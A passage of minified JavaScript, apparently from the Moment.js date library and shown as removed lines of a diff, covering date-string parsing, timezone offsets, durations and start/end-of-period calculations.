|| i[We] > 24 || i[We] === 24 && (i[Be] !== 0 || i[qe] !== 0 || i[$e] !== 0) ? We : i[Be] < 0 || i[Be] > 59 ? Be : i[qe] < 0 || i[qe] > 59 ? qe : i[$e] < 0 || i[$e] > 999 ? $e : -1; - if (_(e)._overflowDayOfYear && (t < ze || t > Ne)) { - t = Ne - } - if (_(e)._overflowWeeks && t === -1) { - t = Ve - } - if (_(e)._overflowWeekday && t === -1) { - t = Ge - } - _(e).overflow = t - } - return e - } - - function wi(e, t, i) { - if (e != null) { - return e - } - if (t != null) { - return t - } - return i - } - - function Mi(e) { - var t = new Date(r.now()); - if (e._useUTC) { - return [t.getUTCFullYear(), t.getUTCMonth(), t.getUTCDate()] - } - return [t.getFullYear(), t.getMonth(), t.getDate()] - } - - function ki(e) { - var t, i, n = [], - r, a, s; - if (e._d) { - return - } - r = Mi(e); - if (e._w && e._a[Ne] == null && e._a[Re] == null) { - Li(e) - } - if (e._dayOfYear != null) { - s = wi(e._a[ze], r[ze]); - if (e._dayOfYear > Ue(s) || e._dayOfYear === 0) { - _(e)._overflowDayOfYear = true - } - i = Mt(s, 0, e._dayOfYear); - e._a[Re] = i.getUTCMonth(); - e._a[Ne] = i.getUTCDate() - } - for (t = 0; t < 3 && e._a[t] == null; ++t) { - e._a[t] = n[t] = r[t] - } - for (; t < 7; t++) { - e._a[t] = n[t] = e._a[t] == null ? t === 2 ? 1 : 0 : e._a[t] - } - if (e._a[We] === 24 && e._a[Be] === 0 && e._a[qe] === 0 && e._a[$e] === 0) { - e._nextDay = true; - e._a[We] = 0 - } - e._d = (e._useUTC ? Mt : wt).apply(null, n); - a = e._useUTC ? e._d.getUTCDay() : e._d.getDay(); - if (e._tzm != null) { - e._d.setUTCMinutes(e._d.getUTCMinutes() - e._tzm) - } - if (e._nextDay) { - e._a[We] = 24 - } - if (e._w && typeof e._w.d !== "undefined" && e._w.d !== a) { - _(e).weekdayMismatch = true - } - } - - function Li(e) { - var t, i, n, r, a, s, o, l; - t = e._w; - if (t.GG != null || t.W != null || t.E != null) { - a = 1; - s = 4; - i = wi(t.GG, e._a[ze], Tt(Xi(), 1, 4).year); - n = wi(t.W, 1); - r = wi(t.E, 1); - if (r < 1 || r > 7) { - l = true - } - } else { - a = e._locale._week.dow; - s = e._locale._week.doy; - var u = Tt(Xi(), a, s); - i = wi(t.gg, e._a[ze], u.year); - n = wi(t.w, u.week); - if (t.d != null) { - r = t.d; - if (r < 0 || r > 6) { - l = true - } - } else if (t.e != null) { - r = t.e + a; - if (t.e < 0 || t.e > 6) { - l = true - } - } else { - r = a - } - } - if (n < 1 || n > xt(i, a, s)) { - _(e)._overflowWeeks = true - } else if (l != null) { - _(e)._overflowWeekday = true - } else { - o = Lt(i, n, r, a, s); - e._a[ze] = o.year; - e._dayOfYear = o.dayOfYear - } - } - var Ti = /^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/; - var xi = /^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/; - var Si = /Z|[+-]\d\d(?::?\d\d)?/; - var Yi = [ - ["YYYYYY-MM-DD", /[+-]\d{6}-\d\d-\d\d/], - ["YYYY-MM-DD", /\d{4}-\d\d-\d\d/], - ["GGGG-[W]WW-E", /\d{4}-W\d\d-\d/], - ["GGGG-[W]WW", /\d{4}-W\d\d/, false], - ["YYYY-DDD", /\d{4}-\d{3}/], - ["YYYY-MM", /\d{4}-\d\d/, false], - ["YYYYYYMMDD", /[+-]\d{10}/], - ["YYYYMMDD", /\d{8}/], - ["GGGG[W]WWE", /\d{4}W\d{3}/], - ["GGGG[W]WW", /\d{4}W\d{2}/, false], - ["YYYYDDD", /\d{7}/] - ]; - var Di = [ - ["HH:mm:ss.SSSS", /\d\d:\d\d:\d\d\.\d+/], - ["HH:mm:ss,SSSS", /\d\d:\d\d:\d\d,\d+/], - ["HH:mm:ss", /\d\d:\d\d:\d\d/], - ["HH:mm", /\d\d:\d\d/], - ["HHmmss.SSSS", /\d\d\d\d\d\d\.\d+/], - ["HHmmss,SSSS", /\d\d\d\d\d\d,\d+/], - ["HHmmss", /\d\d\d\d\d\d/], - ["HHmm", /\d\d\d\d/], - ["HH", /\d\d/] - ]; - var Ei = /^\/?Date\((\-?\d+)/i; - - function Ci(e) { - var t, i, n = e._i, - r = Ti.exec(n) || xi.exec(n), - a, s, o, l; - if (r) { - _(e).iso = true; - for (t = 0, i = Yi.length; t < i; t++) { - if (Yi[t][1].exec(r[1])) { - s = Yi[t][0]; - a = Yi[t][2] !== false; - break - } - } - if (s == null) { - e._isValid = false; - return - } - if (r[3]) { - for (t = 0, i = Di.length; t < i; t++) { - if (Di[t][1].exec(r[3])) { - o = (r[2] || " ") + Di[t][0]; - break - } - } - if (o == null) { - e._isValid = false; - return - } - } - if (!a && o != null) { - e._isValid = false; - return - } - if (r[4]) { - if (Si.exec(r[4])) { - l = "Z" - } else { - e._isValid = false; - return - } - } - e._f = s + (o || "") + (l || ""); - Ni(e) - } else { - e._isValid = false - } - } - var Pi = /^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/; - - function Ai(e, t, i, n, r, a) { - var s = [Oi(e), ut.indexOf(t), parseInt(i, 10), parseInt(n, 10), parseInt(r, 10)]; - if (a) { - s.push(parseInt(a, 10)) - } - return s - } - - function Oi(e) { - var t = parseInt(e, 10); - if (t <= 49) { - return 2e3 + t - } else if (t <= 999) { - return 1900 + t - } - return t - } - - function ji(e) { - return e.replace(/\([^)]*\)|[\n\t]/g, " ").replace(/(\s\s+)/g, " ").replace(/^\s\s*/, "").replace(/\s\s*$/, "") - } - - function Hi(e, t, i) { - if (e) { - var n = Ft.indexOf(e), - r = new Date(t[0], t[1], t[2]).getDay(); - if (n !== r) { - _(i).weekdayMismatch = true; - i._isValid = false; - return false - } - } - return true - } - var Ii = { - UT: 0, - GMT: 0, - EDT: -4 * 60, - EST: -5 * 60, - CDT: -5 * 60, - CST: -6 * 60, - MDT: -6 * 60, - MST: -7 * 60, - PDT: -7 * 60, - PST: -8 * 60 - }; - - function Fi(e, t, i) { - if (e) { - return Ii[e] - } else if (t) { - return 0 - } else { - var n = parseInt(i, 10); - var r = n % 100, - a = (n - r) / 100; - return a * 60 + r - } - } - - function zi(e) { - var t = Pi.exec(ji(e._i)); - if (t) { - var i = Ai(t[4], t[3], t[2], t[5], t[6], t[7]); - if (!Hi(t[1], i, e)) { - return - } - e._a = i; - e._tzm = Fi(t[8], t[9], t[10]); - e._d = Mt.apply(null, e._a); - e._d.setUTCMinutes(e._d.getUTCMinutes() - e._tzm); - _(e).rfc2822 = true - } else { - e._isValid = false - } - } - - function Ri(e) { - var t = Ei.exec(e._i); - if (t !== null) { - e._d = new Date(+t[1]); - return - } - Ci(e); - if (e._isValid === false) { - delete e._isValid - } else { - return - } - zi(e); - if (e._isValid === false) { - delete e._isValid - } else { - return - } - r.createFromInputFallback(e) - } - r.createFromInputFallback = E("value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), " + "which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are " + "discouraged and will be removed in an upcoming major release. Please refer to " + "http://momentjs.com/guides/#/warnings/js-date/ for more info.", function (e) { - e._d = new Date(e._i + (e._useUTC ? " UTC" : "")) - }); - r.ISO_8601 = function () {}; - r.RFC_2822 = function () {}; - - function Ni(e) { - if (e._f === r.ISO_8601) { - Ci(e); - return - } - if (e._f === r.RFC_2822) { - zi(e); - return - } - e._a = []; - _(e).empty = true; - var t = "" + e._i, - i, n, a, s, o, l = t.length, - u = 0; - a = ce(e._f, e._locale).match(re) || []; - for (i = 0; i < a.length; i++) { - s = a[i]; - n = (t.match(Pe(s, e)) || [])[0]; - if (n) { - o = t.substr(0, t.indexOf(n)); - if (o.length > 0) { - _(e).unusedInput.push(o) - } - t = t.slice(t.indexOf(n) + n.length); - u += n.length - } - if (oe[s]) { - if (n) { - _(e).empty = false - } else { - _(e).unusedTokens.push(s) - } - Fe(s, n, e) - } else if (e._strict && !n) { - _(e).unusedTokens.push(s) - } - } - _(e).charsLeftOver = l - u; - if (t.length > 0) { - _(e).unusedInput.push(t) - } - if (e._a[We] <= 12 && _(e).bigHour === true && e._a[We] > 0) { - _(e).bigHour = undefined - } - _(e).parsedDateParts = e._a.slice(0); - _(e).meridiem = e._meridiem; - e._a[We] = Wi(e._locale, e._a[We], e._meridiem); - ki(e); - bi(e) - } - - function Wi(e, t, i) { - var n; - if (i == null) { - return t - } - if (e.meridiemHour != null) { - return e.meridiemHour(t, i) - } else if (e.isPM != null) { - n = e.isPM(i); - if (n && t < 12) { - t += 12 - } - if (!n && t === 12) { - t = 0 - } - return t - } else { - return t - } - } - - function Bi(e) { - var t, i, n, r, a; - if (e._f.length === 0) { - _(e).invalidFormat = true; - e._d = new Date(NaN); - return - } - for (r = 0; r < e._f.length; r++) { - a = 0; - t = M({}, e); - if (e._useUTC != null) { - t._useUTC = e._useUTC - } - t._f = e._f[r]; - Ni(t); - if (!y(t)) { - continue - } - a += _(t).charsLeftOver; - a += _(t).unusedTokens.length * 10; - _(t).score = a; - if (n == null || a < n) { - n = a; - i = t - } - } - m(e, i || t) - } - - function qi(e) { - if (e._d) { - return - } - var t = Z(e._i); - e._a = c([t.year, t.month, t.day || t.date, t.hour, t.minute, t.second, t.millisecond], function (e) { - return e && parseInt(e, 10) - }); - ki(e) - } - - function $i(e) { - var t = new L(bi(Vi(e))); - if (t._nextDay) { - t.add(1, "d"); - t._nextDay = undefined - } - return t - } - - function Vi(e) { - var t = e._i, - i = e._f; - e._locale = e._locale || gi(e._l); - if (t === null || i === undefined && t === "") { - return b({ - nullInput: true - }) - } - if (typeof t === "string") { - e._i = t = e._locale.preparse(t) - } - if (T(t)) { - return new L(bi(t)) - } else if (f(t)) { - e._d = t - } else if (s(i)) { - Bi(e) - } else if (i) { - Ni(e) - } else { - Gi(e) - } - if (!y(e)) { - e._d = null - } - return e - } - - function Gi(e) { - var t = e._i; - if (u(t)) { - e._d = new Date(r.now()) - } else if (f(t)) { - e._d = new Date(t.valueOf()) - } else if (typeof t === "string") { - Ri(e) - } else if (s(t)) { - e._a = c(t.slice(0), function (e) { - return parseInt(e, 10) - }); - ki(e) - } else if (o(t)) { - qi(e) - } else if (d(t)) { - e._d = new Date(t) - } else { - r.createFromInputFallback(e) - } - } - - function Ui(e, t, i, n, r) { - var a = {}; - if (i === true || i === false) { - n = i; - i = undefined - } - if (o(e) && l(e) || s(e) && e.length === 0) { - e = undefined - } - a._isAMomentObject = true; - a._useUTC = a._isUTC = r; - a._l = i; - a._i = e; - a._f = t; - a._strict = n; - return $i(a) - } - - function Xi(e, t, i, n) { - return Ui(e, t, i, n, false) - } - var Ji = E("moment().min is deprecated, use moment.max instead. http://momentjs.com/guides/#/warnings/min-max/", function () { - var e = Xi.apply(null, arguments); - if (this.isValid() && e.isValid()) { - return e < this ? this : e - } else { - return b() - } - }); - var Ki = E("moment().max is deprecated, use moment.min instead. http://momentjs.com/guides/#/warnings/min-max/", function () { - var e = Xi.apply(null, arguments); - if (this.isValid() && e.isValid()) { - return e > this ? this : e - } else { - return b() - } - }); - - function Qi(e, t) { - var i, n; - if (t.length === 1 && s(t[0])) { - t = t[0] - } - if (!t.length) { - return Xi() - } - i = t[0]; - for (n = 1; n < t.length; ++n) { - if (!t[n].isValid() || t[n][e](i)) { - i = t[n] - } - } - return i - } - - function Zi() { - var e = [].slice.call(arguments, 0); - return Qi("isBefore", e) - } - - function en() { - var e = [].slice.call(arguments, 0); - return Qi("isAfter", e) - } - var tn = function () { - return Date.now ? Date.now() : +new Date - }; - var nn = ["year", "quarter", "month", "week", "day", "hour", "minute", "second", "millisecond"]; - - function rn(e) { - for (var t in e) { - if (!(rt.call(nn, t) !== -1 && (e[t] == null || !isNaN(e[t])))) { - return false - } - } - var i = false; - for (var n = 0; n < nn.length; ++n) { - if (e[nn[n]]) { - if (i) { - return false - } - if (parseFloat(e[nn[n]]) !== S(e[nn[n]])) { - i = true - } - } - } - return true - } - - function an() { - return this._isValid - } - - function sn() { - return Yn(NaN) - } - - function on(e) { - var t = Z(e), - i = t.year || 0, - n = t.quarter || 0, - r = t.month || 0, - a = t.week || t.isoWeek || 0, - s = t.day || 0, - o = t.hour || 0, - l = t.minute || 0, - u = t.second || 0, - d = t.millisecond || 0; - this._isValid = rn(t); - this._milliseconds = +d + u * 1e3 + l * 6e4 + o * 1e3 * 60 * 60; - this._days = +s + a * 7; - this._months = +r + n * 3 + i * 12; - this._data = {}; - this._locale = gi(); - this._bubble() - } - - function ln(e) { - return e instanceof on - } - - function un(e) { - if (e < 0) { - return Math.round(-1 * e) * -1 - } else { - return Math.round(e) - } - } - - function dn(e, t) { - le(e, 0, 0, function () { - var e = this.utcOffset(); - var i = "+"; - if (e < 0) { - e = -e; - i = "-" - } - return i + ne(~~(e / 60), 2) + t + ne(~~e % 60, 2) - }) - } - dn("Z", ":"); - dn("ZZ", ""); - Ce("Z", Se); - Ce("ZZ", Se); - He(["Z", "ZZ"], function (e, t, i) { - i._useUTC = true; - i._tzm = cn(Se, e) - }); - var fn = /([\+\-]|\d\d)/gi; - - function cn(e, t) { - var i = (t || "").match(e); - if (i === null) { - return null - } - var n = i[i.length - 1] || []; - var r = (n + "").match(fn) || ["-", 0, 0]; - var a = +(r[1] * 60) + S(r[2]); - return a === 0 ? 0 : r[0] === "+" ? a : -a - } - - function hn(e, t) { - var i, n; - if (t._isUTC) { - i = t.clone(); - n = (T(e) || f(e) ? e.valueOf() : Xi(e).valueOf()) - i.valueOf(); - i._d.setTime(i._d.valueOf() + n); - r.updateOffset(i, false); - return i - } else { - return Xi(e).local() - } - } - - function mn(e) { - return -Math.round(e._d.getTimezoneOffset() / 15) * 15 - } - r.updateOffset = function () {}; - - function pn(e, t, i) { - var n = this._offset || 0, - a; - if (!this.isValid()) { - return e != null ? this : NaN - } - if (e != null) { - if (typeof e === "string") { - e = cn(Se, e); - if (e === null) { - return this - } - } else if (Math.abs(e) < 16 && !i) { - e = e * 60 - } - if (!this._isUTC && t) { - a = mn(this) - } - this._offset = e; - this._isUTC = true; - if (a != null) { - this.add(a, "m") - } - if (n !== e) { - if (!t || this._changeInProgress) { - An(this, Yn(e - n, "m"), 1, false) - } else if (!this._changeInProgress) { - this._changeInProgress = true; - r.updateOffset(this, true); - this._changeInProgress = null - } - } - return this - } else { - return this._isUTC ? n : mn(this) - } - } - - function vn(e, t) { - if (e != null) { - if (typeof e !== "string") { - e = -e - } - this.utcOffset(e, t); - return this - } else { - return -this.utcOffset() - } - } - - function _n(e) { - return this.utcOffset(0, e) - } - - function gn(e) { - if (this._isUTC) { - this.utcOffset(0, e); - this._isUTC = false; - if (e) { - this.subtract(mn(this), "m") - } - } - return this - } - - function yn() { - if (this._tzm != null) { - this.utcOffset(this._tzm, false, true) - } else if (typeof this._i === "string") { - var e = cn(xe, this._i); - if (e != null) { - this.utcOffset(e) - } else { - this.utcOffset(0, true) - } - } - return this - } - - function bn(e) { - if (!this.isValid()) { - return false - } - e = e ? Xi(e).utcOffset() : 0; - return (this.utcOffset() - e) % 60 === 0 - } - - function wn() { - return this.utcOffset() > this.clone().month(0).utcOffset() || this.utcOffset() > this.clone().month(5).utcOffset() - } - - function Mn() { - if (!u(this._isDSTShifted)) { - return this._isDSTShifted - } - var e = {}; - M(e, this); - e = Vi(e); - if (e._a) { - var t = e._isUTC ? p(e._a) : Xi(e._a); - this._isDSTShifted = this.isValid() && Y(e._a, t.toArray()) > 0 - } else { - this._isDSTShifted = false - } - return this._isDSTShifted - } - - function kn() { - return this.isValid() ? !this._isUTC : false - } - - function Ln() { - return this.isValid() ? this._isUTC : false - } - - function Tn() { - return this.isValid() ? this._isUTC && this._offset === 0 : false - } - var xn = /^(\-|\+)?(?:(\d*)[. ])?(\d+)\:(\d+)(?:\:(\d+)(\.\d*)?)?$/; - var Sn = /^(-|\+)?P(?:([-+]?[0-9,.]*)Y)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)W)?(?:([-+]?[0-9,.]*)D)?(?:T(?:([-+]?[0-9,.]*)H)?(?:([-+]?[0-9,.]*)M)?(?:([-+]?[0-9,.]*)S)?)?$/; - - function Yn(e, t) { - var i = e, - n = null, - r, a, s; - if (ln(e)) { - i = { - ms: e._milliseconds, - d: e._days, - M: e._months - } - } else if (d(e)) { - i = {}; - if (t) { - i[t] = e - } else { - i.milliseconds = e - } - } else if (!!(n = xn.exec(e))) { - r = n[1] === "-" ? -1 : 1; - i = { - y: 0, - d: S(n[Ne]) * r, - h: S(n[We]) * r, - m: S(n[Be]) * r, - s: S(n[qe]) * r, - ms: S(un(n[$e] * 1e3)) * r - } - } else if (!!(n = Sn.exec(e))) { - r = n[1] === "-" ? -1 : 1; - i = { - y: Dn(n[2], r), - M: Dn(n[3], r), - w: Dn(n[4], r), - d: Dn(n[5], r), - h: Dn(n[6], r), - m: Dn(n[7], r), - s: Dn(n[8], r) - } - } else if (i == null) { - i = {} - } else if (typeof i === "object" && ("from" in i || "to" in i)) { - s = Cn(Xi(i.from), Xi(i.to)); - i = {}; - i.ms = s.milliseconds; - i.M = s.months - } - a = new on(i); - if (ln(e) && h(e, "_locale")) { - a._locale = e._locale - } - return a - } - Yn.fn = on.prototype; - Yn.invalid = sn; - - function Dn(e, t) { - var i = e && parseFloat(e.replace(",", ".")); - return (isNaN(i) ? 0 : i) * t - } - - function En(e, t) { - var i = {}; - i.months = t.month() - e.month() + (t.year() - e.year()) * 12; - if (e.clone().add(i.months, "M").isAfter(t)) { - --i.months - } - i.milliseconds = +t - +e.clone().add(i.months, "M"); - return i - } - - function Cn(e, t) { - var i; - if (!(e.isValid() && t.isValid())) { - return { - milliseconds: 0, - months: 0 - } - } - t = hn(t, e); - if (e.isBefore(t)) { - i = En(e, t) - } else { - i = En(t, e); - i.milliseconds = -i.milliseconds; - i.months = -i.months - } - return i - } - - function Pn(e, t) { - return function (i, n) { - var r, a; - if (n !== null && !isNaN(+n)) { - P(t, "moment()." + t + "(period, number) is deprecated. Please use moment()." + t + "(number, period). " + "See http://momentjs.com/guides/#/warnings/add-inverted-param/ for more info."); - a = i; - i = n; - n = a - } - i = typeof i === "string" ? +i : i; - r = Yn(i, n); - An(this, r, e); - return this - } - } - - function An(e, t, i, n) { - var a = t._milliseconds, - s = un(t._days), - o = un(t._months); - if (!e.isValid()) { - return - } - n = n == null ? true : n; - if (o) { - ht(e, Ze(e, "Month") + o * i) - } - if (s) { - et(e, "Date", Ze(e, "Date") + s * i) - } - if (a) { - e._d.setTime(e._d.valueOf() + a * i) - } - if (n) { - r.updateOffset(e, s || o) - } - } - var On = Pn(1, "add"); - var jn = Pn(-1, "subtract"); - - function Hn(e, t) { - var i = e.diff(t, "days", true); - return i < -6 ? "sameElse" : i < -1 ? "lastWeek" : i < 0 ? "lastDay" : i < 1 ? "sameDay" : i < 2 ? "nextDay" : i < 7 ? "nextWeek" : "sameElse" - } - - function In(e, t) { - var i = e || Xi(), - n = hn(i, this).startOf("day"), - a = r.calendarFormat(this, n) || "sameElse"; - var s = t && (A(t[a]) ? t[a].call(this, i) : t[a]); - return this.format(s || this.localeData().calendar(a, this, Xi(i))) - } - - function Fn() { - return new L(this) - } - - function zn(e, t) { - var i = T(e) ? e : Xi(e); - if (!(this.isValid() && i.isValid())) { - return false - } - t = Q(t) || "millisecond"; - if (t === "millisecond") { - return this.valueOf() > i.valueOf() - } else { - return i.valueOf() < this.clone().startOf(t).valueOf() - } - } - - function Rn(e, t) { - var i = T(e) ? e : Xi(e); - if (!(this.isValid() && i.isValid())) { - return false - } - t = Q(t) || "millisecond"; - if (t === "millisecond") { - return this.valueOf() < i.valueOf() - } else { - return this.clone().endOf(t).valueOf() < i.valueOf() - } - } - - function Nn(e, t, i, n) { - var r = T(e) ? e : Xi(e), - a = T(t) ? t : Xi(t); - if (!(this.isValid() && r.isValid() && a.isValid())) { - return false - } - n = n || "()"; - return (n[0] === "(" ? this.isAfter(r, i) : !this.isBefore(r, i)) && (n[1] === ")" ? this.isBefore(a, i) : !this.isAfter(a, i)) - } - - function Wn(e, t) { - var i = T(e) ? e : Xi(e), - n; - if (!(this.isValid() && i.isValid())) { - return false - } - t = Q(t) || "millisecond"; - if (t === "millisecond") { - return this.valueOf() === i.valueOf() - } else { - n = i.valueOf(); - return this.clone().startOf(t).valueOf() <= n && n <= this.clone().endOf(t).valueOf() - } - } - - function Bn(e, t) { - return this.isSame(e, t) || this.isAfter(e, t) - } - - function qn(e, t) { - return this.isSame(e, t) || this.isBefore(e, t) - } - - function $n(e, t, i) { - var n, r, a; - if (!this.isValid()) { - return NaN - } - n = hn(e, this); - if (!n.isValid()) { - return NaN - } - r = (n.utcOffset() - this.utcOffset()) * 6e4; - t = Q(t); - switch (t) { - case "year": - a = Vn(this, n) / 12; - break; - case "month": - a = Vn(this, n); - break; - case "quarter": - a = Vn(this, n) / 3; - break; - case "second": - a = (this - n) / 1e3; - break; - case "minute": - a = (this - n) / 6e4; - break; - case "hour": - a = (this - n) / 36e5; - break; - case "day": - a = (this - n - r) / 864e5; - break; - case "week": - a = (this - n - r) / 6048e5; - break; - default: - a = this - n - } - return i ? a : x(a) - } - - function Vn(e, t) { - var i = (t.year() - e.year()) * 12 + (t.month() - e.month()), - n = e.clone().add(i, "months"), - r, a; - if (t - n < 0) { - r = e.clone().add(i - 1, "months"); - a = (t - n) / (n - r) - } else { - r = e.clone().add(i + 1, "months"); - a = (t - n) / (r - n) - } - return -(i + a) || 0 - } - r.defaultFormat = "YYYY-MM-DDTHH:mm:ssZ"; - r.defaultFormatUtc = "YYYY-MM-DDTHH:mm:ss[Z]"; - - function Gn() { - return this.clone().locale("en").format("ddd MMM DD YYYY HH:mm:ss [GMT]ZZ") - } - - function Un(e) { - if (!this.isValid()) { - return null - } - var t = e !== true; - var i = t ? this.clone().utc() : this; - if (i.year() < 0 || i.year() > 9999) { - return fe(i, t ? "YYYYYY-MM-DD[T]HH:mm:ss.SSS[Z]" : "YYYYYY-MM-DD[T]HH:mm:ss.SSSZ") - } - if (A(Date.prototype.toISOString)) { - if (t) { - return this.toDate().toISOString() - } else { - return new Date(this.valueOf() + this.utcOffset() * 60 * 1e3).toISOString().replace("Z", fe(i, "Z")) - } - } - return fe(i, t ? "YYYY-MM-DD[T]HH:mm:ss.SSS[Z]" : "YYYY-MM-DD[T]HH:mm:ss.SSSZ") - } - - function Xn() { - if (!this.isValid()) { - return "moment.invalid(/* " + this._i + " */)" - } - var e = "moment"; - var t = ""; - if (!this.isLocal()) { - e = this.utcOffset() === 0 ? "moment.utc" : "moment.parseZone"; - t = "Z" - } - var i = "[" + e + '("]'; - var n = 0 <= this.year() && this.year() <= 9999 ? "YYYY" : "YYYYYY"; - var r = "-MM-DD[T]HH:mm:ss.SSS"; - var a = t + '[")]'; - return this.format(i + n + r + a) - } - - function Jn(e) { - if (!e) { - e = this.isUtc() ? r.defaultFormatUtc : r.defaultFormat - } - var t = fe(this, e); - return this.localeData().postformat(t) - } - - function Kn(e, t) { - if (this.isValid() && (T(e) && e.isValid() || Xi(e).isValid())) { - return Yn({ - to: this, - from: e - }).locale(this.locale()).humanize(!t) - } else { - return this.localeData().invalidDate() - } - } - - function Qn(e) { - return this.from(Xi(), e) - } - - function Zn(e, t) { - if (this.isValid() && (T(e) && e.isValid() || Xi(e).isValid())) { - return Yn({ - from: this, - to: e - }).locale(this.locale()).humanize(!t) - } else { - return this.localeData().invalidDate() - } - } - - function er(e) { - return this.to(Xi(), e) - } - - function tr(e) { - var t; - if (e === undefined) { - return this._locale._abbr - } else { - t = gi(e); - if (t != null) { - this._locale = t - } - return this - } - } - var ir = E("moment().lang() is deprecated. Instead, use moment().localeData() to get the language configuration. Use moment().locale() to change languages.", function (e) { - if (e === undefined) { - return this.localeData() - } else { - return this.locale(e) - } - }); - - function nr() { - return this._locale - } - var rr = 1e3; - var ar = 60 * rr; - var sr = 60 * ar; - var or = (365 * 400 + 97) * 24 * sr; - - function lr(e, t) { - return (e % t + t) % t - } - - function ur(e, t, i) { - if (e < 100 && e >= 0) { - return new Date(e + 400, t, i) - or - } else { - return new Date(e, t, i).valueOf() - } - } - - function dr(e, t, i) { - if (e < 100 && e >= 0) { - return Date.UTC(e + 400, t, i) - or - } else { - return Date.UTC(e, t, i) - } - } - - function fr(e) { - var t; - e = Q(e); - if (e === undefined || e === "millisecond" || !this.isValid()) { - return this - } - var i = this._isUTC ? dr : ur; - switch (e) { - case "year": - t = i(this.year(), 0, 1); - break; - case "quarter": - t = i(this.year(), this.month() - this.month() % 3, 1); - break; - case "month": - t = i(this.year(), this.month(), 1); - break; - case "week": - t = i(this.year(), this.month(), this.date() - this.weekday()); - break; - case "isoWeek": - t = i(this.year(), this.month(), this.date() - (this.isoWeekday() - 1)); - break; - case "day": - case "date": - t = i(this.year(), this.month(), this.date()); - break; - case "hour": - t = this._d.valueOf(); - t -= lr(t + (this._isUTC ? 0 : this.utcOffset() * ar), sr); - break; - case "minute": - t = this._d.valueOf(); - t -= lr(t, ar); - break; - case "second": - t = this._d.valueOf(); - t -= lr(t, rr); - break - } - this._d.setTime(t); - r.updateOffset(this, true); - return this - } - - function cr(e) { - var t; - e = Q(e); - if (e === undefined || e === "millisecond" || !this.isValid()) { - return this - } - var i = this._isUTC ? dr : ur; - switch (e) { - case "year": - t = i(this.year() + 1, 0, 1) - 1; - break; - case "quarter": - t = i(this.year(), this.month() - this.month() % 3 + 3, 1) - 1; - break; - case "month": - t = i(this.year(), this.month() + 1, 1) - 1; - break; - case "week": - t = i(this.year(), this.month(), this.date() - this.weekday() + 7) - 1; - break; - case "isoWeek": - t = i(this.year(), this.month(), this.date() - (this.isoWeekday() - 1) + 7) - 1; - break; - case "day": - case "date": - t = i(this.year(), this.month(), this.date() + 1) - 1; - break; - case "hour": - t = this._d.valueOf(); - t += sr - lr(t + (this._isUTC ? 0 : this.utcOffset() * ar), sr) - 1; - break; - case "minute": - t = this._d.valueOf(); - t += ar - lr(t, ar) - 1; - break; - case "second": - t = this._d.valueOf(); - t += rr - lr(t, rr) - 1; - break - } - this._d.setTime(t); - r.updateOffset(this, true); - return this - } - - function hr() { - return this._d.valueOf() - (this._offset || 0) * 6e4 - } - - function mr() { - return Math.floor(this.valueOf() / 1e3) - } - - function pr() { - return new Date(this.valueOf()) - } - - function vr() { - var e = this; - return [e.year(), e.month(), e.date(), e.hour(), e.minute(), e.second(), e.millisecond()] - } - - function _r() { - var e = this; - return { - years: e.year(), - months: e.month(), - date: e.date(), - hours: e.hours(), - minutes: e.minutes(), - seconds: e.seconds(), - milliseconds: e.milliseconds() - } - } - - function gr() { - return this.isValid() ? this.toISOString() : null - } - - function yr() { - return y(this) - } - - function br() { - return m({}, _(this)) - } - - function wr() { - return _(this).overflow - } - - function Mr() { - return { - input: this._i, - format: this._f, - locale: this._locale, - isUTC: this._isUTC, - strict: this._strict - } - } - le(0, ["gg", 2], 0, function () { - return this.weekYear() % 100 - }); - le(0, ["GG", 2], 0, function () { - return this.isoWeekYear() % 100 - }); - - function kr(e, t) { - le(0, [e, e.length], 0, t) - } - kr("gggg", "weekYear"); - kr("ggggg", "weekYear"); - kr("GGGG", "isoWeekYear"); - kr("GGGGG", "isoWeekYear"); - K("weekYear", "gg"); - K("isoWeekYear", "GG"); - te("weekYear", 1); - te("isoWeekYear", 1); - Ce("G", Te); - Ce("g", Te); - Ce("GG", ge, me); - Ce("gg", ge, me); - Ce("GGGG", Me, ve); - Ce("gggg", Me, ve); - Ce("GGGGG", ke, _e); - Ce("ggggg", ke, _e); - Ie(["gggg", "ggggg", "GGGG", "GGGGG"], function (e, t, i, n) { - t[n.substr(0, 2)] = S(e) - }); - Ie(["gg", "GG"], function (e, t, i, n) { - t[n] = r.parseTwoDigitYear(e) - }); - - function Lr(e) { - return Yr.call(this, e, this.week(), this.weekday(), this.localeData()._week.dow, this.localeData()._week.doy) - } - - function Tr(e) { - return Yr.call(this, e, this.isoWeek(), this.isoWeekday(), 1, 4) - } - - function xr() { - return xt(this.year(), 1, 4) - } - - function Sr() { - var e = this.localeData()._week; - return xt(this.year(), e.dow, e.doy) - } - - function Yr(e, t, i, n, r) { - var a; - if (e == null) { - return Tt(this, n, r).year - } else { - a = xt(e, n, r); - if (t > a) { - t = a - } - return Dr.call(this, e, t, i, n, r) - } - } - - function Dr(e, t, i, n, r) { - var a = Lt(e, t, i, n, r), - s = Mt(a.year, 0, a.dayOfYear); - this.year(s.getUTCFullYear()); - this.month(s.getUTCMonth()); - this.date(s.getUTCDate()); - return this - } - le("Q", 0, "Qo", "quarter"); - K("quarter", "Q"); - te("quarter", 7); - Ce("Q", he); - He("Q", function (e, t) { - t[Re] = (S(e) - 1) * 3 - }); - - function Er(e) { - return e == null ? Math.ceil((this.month() + 1) / 3) : this.month((e - 1) * 3 + this.month() % 3) - } - le("D", ["DD", 2], "Do", "date"); - K("date", "D"); - te("date", 9); - Ce("D", ge); - Ce("DD", ge, me); - Ce("Do", function (e, t) 